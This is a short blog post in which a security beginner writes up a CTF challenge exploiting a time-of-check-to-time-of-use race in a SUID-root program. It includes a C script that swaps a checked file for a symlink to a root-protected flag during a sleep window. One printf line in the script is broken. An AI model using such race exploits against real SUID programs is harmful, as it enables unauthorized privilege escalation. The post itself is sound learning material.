i am root — TOCTTOU attack

2 min readNov 13, 2023

A software sec newbie series

Hi! I am new to software security, learning it hands-on by solving easy-moderate CTFs. I am documenting my learnings along the way.

CTF: The source code takes a file path as input, reads the user input password from that file and compares it against a flag which is stored in a root protected file. The source code is SUID root.

It adds an extra layer of security making sure the file name input by the user is not in the same file as the protected flag and that it is not a symlink.

However, it waits for 3 seconds between the input file path validation checks and the actual password comparison.

This is a classic scenario for a Time Of Check To Time Of Use (TOCTTOU) attack. TOCTTOU refers to a class of software vulnerabilities that arise when a program’s behavior depends on the state of a resource at two different points in time. Typically, this vulnerability occurs when a resource is checked or validated, and then, after the check, but before the resource is used, the state of the resource changes.

That 3 second window is enough for us to get in there, delete the pre-existing file in the input file path and replace it with a symlink to the protected flag. Since the source code app is SUID root app, it has root privileges and is able to access the protected flag.

Solution: We replace the file with the symlink during the 3 second sleep of the application and thus lead the app to compare the protected flag to itself. in order to time the file replace right, just add 1 second sleep in your own script at the beginning to give the source code enough time to perform the validations.

Here’s how you can design your attack script:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

int main() {
sleep(1);
const char *filename = "/home/hacker/flag";

// Attempt to delete the file
remove(filename);

const char *target = "/flag"; // Replace with the actual flag
const char *linkName = "/home/hacker/flag"; // Replace input file

// Create the symbolic link
int result = symlink(target, linkName);

if (result == 0) {
printf("Symbolic link created successfully.\n>
} else {
perror("Error creating symbolic link");
}

return 0;
}

And then you are root!

--

--

Sushmita Mallick
Sushmita Mallick

Written by Sushmita Mallick

Writes about software, poetry and everything in between. Ex-MSFT, Ex-Amazon. Currently a grad student@ASU.

No responses yet